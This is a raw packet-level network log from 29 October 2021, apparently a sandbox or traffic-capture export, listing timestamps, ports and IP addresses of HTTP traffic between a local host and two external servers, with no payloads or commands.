Oct 29, 2021 15:31:14.758738041 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.758748055 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758760929 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.758774996 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.758800030 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.759639025 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.759674072 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.759697914 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.759721994 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.759727955 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.759747982 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.759778976 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.759787083 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.759798050 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.759828091 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.759854078 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.759943008 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.759967089 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.759999990 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760020018 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.760021925 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760044098 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760063887 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.760071039 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760087013 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760107994 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760108948 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.760145903 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.760665894 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760694027 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760714054 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760732889 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760754108 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760761023 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.760770082 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760790110 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760801077 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.760812998 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760834932 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760834932 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.760865927 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.760869980 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.760912895 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.787646055 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.787684917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.787702084 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.787719965 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.787739038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.787755966 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.787772894 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.787784100 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.787791014 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.787810087 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.787821054 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.787830114 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.787847996 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.787858009 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.787867069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.787900925 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.787933111 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.788043976 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788070917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788089991 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788109064 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788111925 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.788129091 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788151979 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788156986 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.788175106 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788198948 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788198948 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.788219929 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788242102 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.788254976 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788278103 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788300037 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788300991 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.788345098 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788347006 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.788364887 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788383007 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788400888 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788412094 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.788430929 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788454056 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.788455009 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788481951 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788497925 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.788506031 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788528919 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788538933 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.788553953 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788592100 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.788595915 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788618088 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.788656950 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.814857960 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.817560911 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.817598104 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.817620039 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.817635059 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.817656994 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.817677975 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.817698956 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.817712069 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.817724943 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.817779064 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.818207026 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818232059 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818254948 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818276882 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818296909 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818299055 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.818320036 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818335056 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818352938 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.818356991 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818380117 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818382025 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.818398952 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.818399906 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818417072 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818437099 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.818437099 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818459034 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818480968 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818485022 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.818495989 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818515062 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.818622112 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818645954 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818669081 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818670034 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.818684101 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.818705082 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.819006920 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819036007 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819061041 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819065094 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.819080114 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819098949 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.819104910 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819148064 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.819154024 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819183111 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819209099 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819219112 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.819236040 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819263935 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819282055 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819286108 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.819308043 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819319010 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.819334030 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819359064 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819375992 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819380045 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.819418907 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.819926977 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819950104 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.819967031 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820028067 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.820054054 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820071936 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820090055 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820099115 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.820105076 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820122957 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820138931 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820141077 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.820156097 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820168018 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820183039 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.820204020 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.820313931 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820332050 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820348978 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820368052 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.820369005 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820415020 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.820432901 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820451021 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820462942 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820472002 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.820507050 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.820638895 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820657015 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820672989 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820684910 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.820718050 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.820759058 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.821110964 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.821129084 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.821146011 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.821163893 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.821173906 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.821182013 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.821198940 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.821212053 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.821219921 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.821228027 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.821247101 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.821264982 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.821264029 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.821299076 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.821319103 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.821321964 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.827625036 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.827655077 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.827678919 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.827702999 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.827769041 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.833986044 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834017992 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834042072 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834064960 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834085941 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834115982 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834132910 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834140062 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834162951 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834167004 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834186077 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834197998 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834209919 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834234953 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834258080 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834290981 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834301949 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834315062 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834352970 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834374905 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834398031 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834403038 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834420919 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834443092 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834444046 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834467888 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834487915 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834489107 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834512949 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834534883 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834536076 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834561110 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834583998 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834587097 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834605932 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834625959 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834630013 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834654093 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834676027 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834678888 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834702969 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834721088 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834726095 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834757090 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834778070 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834779024 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834804058 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834824085 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834827900 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834851980 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834872007 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834876060 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834899902 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834920883 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834922075 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834948063 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834969997 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.834970951 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.834995031 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835019112 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835037947 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835050106 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835061073 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835071087 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835083008 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835103989 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835109949 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835127115 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835141897 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835148096 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835170031 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835191011 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835197926 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835212946 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835232973 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835235119 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835258007 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835277081 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835282087 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835304976 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835323095 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835326910 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835350037 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835365057 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835371017 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835392952 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835406065 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835414886 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835436106 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835449934 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835458040 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835479975 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835494995 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835500956 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835521936 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835534096 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835545063 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835566998 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835589886 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835609913 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835632086 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835642099 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835645914 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835654020 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835665941 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.835676908 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.835710049 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.873887062 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.873924971 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.873945951 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.873965979 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.873986006 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.874008894 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.874036074 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.874094963 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.878499031 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.878530025 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.878547907 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.878563881 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.878582001 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.878597975 CEST	80	49842	45.141.84.21	192.168.2.7
